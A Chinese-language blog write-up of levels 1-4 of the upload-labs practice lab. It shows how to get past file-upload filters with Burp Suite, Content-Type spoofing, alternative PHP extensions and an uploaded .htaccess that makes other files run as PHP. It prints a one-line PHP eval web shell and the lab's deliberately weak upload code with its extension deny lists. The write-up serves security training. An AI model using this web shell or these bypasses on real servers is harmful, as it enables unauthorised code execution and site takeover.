upload-labs(1-4)

upload-labs源码

img

pass-1 JS检测绕过

image-20210802065653335

上传一个123.php试试,结果不允许上传

image-20210802065907774

页面源代码中这样一个javascript脚本,采用白名单的形式只允许jpg,png和gif类型

image-20210802070022709

方法1-burpsuite改后缀名绕过

先将后缀名改成png绕过前端js的检测,然后用burpsuite抓包,更改为原文件类型

image-20210802074221742

JS绕过成功,顺利上传

image-20210802074306949

使用蚁剑连接

image-20210802075233401

方法2-burpsuite改服务端回应包绕过

在burp suite中先打开拦截回应包选项

image-20210802075832640

在客户端刷新一次页面,然后burpsuite拦截到服务端的回应

image-20210802075950908

在回应包中,发现前端的js检测代码,把它删除,然后放包

image-20210802080041865

查看前端源码,js检测代码已经没了

image-20210802080252657

接着上传123.php

image-20210802080327473

未出现弹窗拦截,上传成功

image-20210802080355556

pass-2 文件类型绕过Content-type

初次尝试

看了看前端源码,没有JS后缀检测了

先上传123.php试试,提示文件类型错误

image-20210802083414371

分析源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

源码是靠$_FILES["name"]["type"]中的来判断

但是这个type值是由发送过去的数据包中的Content-Type的值,因此,修改Content-type的值就可以绕过

再次尝试

上传一个1.jpg看看它的Content-Type值是什么样的

image-20210802084125028

接着上传一个123.php,将Content-Type改成image/jpeg

image-20210802084325233

上传成功

image-20210802084514604

蚁剑连接成功

image-20210802084608380

pass-3

分析源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

采用黑名单的方式,不允许上传后缀名asp,aspx,php,jsp的文件,意味着其他文件都可以上传

然后将文件名更改为年月日时分秒+1000-9999任意数字.后缀名

黑名单禁止asp,aspx,php,jsp的文件 ,不过phtml,php3,php4,php5,pht没有禁止,在apache配置文件中当php解析

  • 原理:例如php3,它代表php 3.x版本,利用php向下兼容特点进行绕过测试

除了php可以利用篡改可解析的后缀名,其他类型文件也可以篡改

.asp .aspx .jsp
.asa .ashx .jspx
.cer .asmx .jspf
.cdx .ascx

尝试

先在Apache的httpd.conf中设置,把以上后缀都给加上AddType application/x-httpd-php .php .phtml .php3 .php4 .php5

image-20210802095427678

然后上传如1.PHP2的文件,失败?

image-20210802100546593

上传1.php3看看,失败??

image-20210802100643086

上传1.php4看看,失败???

image-20210802100714641

上传1.php5看看,失败???!

image-20210802100810424

上传1.php6看看,...失败...

image-20210802101033474

上传1.phtml看看,......失败......

image-20210802102323532

我真的服了,全都上传失败,查了后发现好像用phpstudy的话,不能识别php3等这样的后缀名

大致就是这样的操作

pass-4

分析源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

还是用的黑名单,apache可解析的文件扩展名全都过滤了,但是它没有重命名文件名,百密一疏

将文件后缀改成没办法解析的如xxx,文件命名为1.php.xxx,由于apache从右向左解析,xxx解析不了就会解析php,从而绕过检查

初次尝试

上传1.php.xxx,上传成功

连接蚁剑,连接失败??

image-20210802111259978

连接地址可能填错了

那换一种方法

.htaccess

简介

.htaccess文件 (或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。

  • 它提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
  • 作为用户,所能使用的命令受到限制。
  • 管理员可以通过Apache的AllowOverride指令来设置。
  • .htaccess文件是用于apache服务器下的控制文件访问的配置文件,因此Nginx下是不会生效的
  • .htaccess可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档、文件的跳转等功能。

.htaccess 是配置文件,所以文件名不要更改

.htaccess 文件上传漏洞原理:

一般.htaccess可以用来留后门和针对黑名单绕过

  • 创建一个txt写入AddType application/x-httpd-php .png
  • 另存为.htaccess
  • 让 png 解析为 php ,还可以把png改成其他图片格式~例如jpeg、gif等等...

或者在.htaccess 加入php解析规则

  • 类似于把文件名包含1的解析成php
  <FilesMatch "1">

  SetHandler application/x-httpd-php

  </FilesMatch>

  1.abcd 就会以php执行

实际操作

  1. 创建.htaccess文件,并写入内容

image-20210802145211454

  1. 上传.htaccess文件

  2. 上传成功后,上传一个111.xxxx的文件,里面写有一句话木马<?php @eval($_POST['pw']);?>

image-20210802145847870

佛了,连接不上显示返回数据为空

换一种方法:写入AddType application/x-httpd-php .png试试

还是不行

image-20210802153949493

总结

先放这吧,有很多都没弄明白

posted @ 2021-08-02 16:53  1ink  阅读(140)  评论(0编辑  收藏  举报